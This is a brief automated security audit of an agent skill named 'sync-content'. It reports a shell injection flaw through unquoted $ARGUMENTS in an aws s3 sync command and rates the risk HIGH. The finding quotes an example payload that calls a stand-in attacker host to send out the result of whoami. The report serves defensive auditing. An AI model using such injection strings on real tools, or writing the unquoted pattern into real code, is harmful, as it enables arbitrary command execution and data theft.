sync-content
Fail
Audited by Gen Agent Trust Hub on Feb 17, 2026
Risk Level: HIGHCOMMAND_EXECUTIONDATA_EXFILTRATION
Full Analysis
- COMMAND_EXECUTION (HIGH): The skill is vulnerable to shell command injection via the
$ARGUMENTSvariable inSKILL.md. Evidence: The commandaws s3 sync ./content/galleries/$ARGUMENTS/ s3://pitfal-media/galleries/$ARGUMENTS/performs direct string interpolation of the argument. An attacker providing an argument like; curl http://attacker.com/$(whoami);could execute arbitrary code. - DATA_EXFILTRATION (LOW): The skill naturally performs network operations to AWS S3 as part of its primary purpose. Evidence:
aws s3 synccommands. While intended, the command injection vulnerability mentioned above elevates the risk that sensitive system files could be exfiltrated alongside the gallery content.
Recommendations
- AI detected serious security threats
Audit Metadata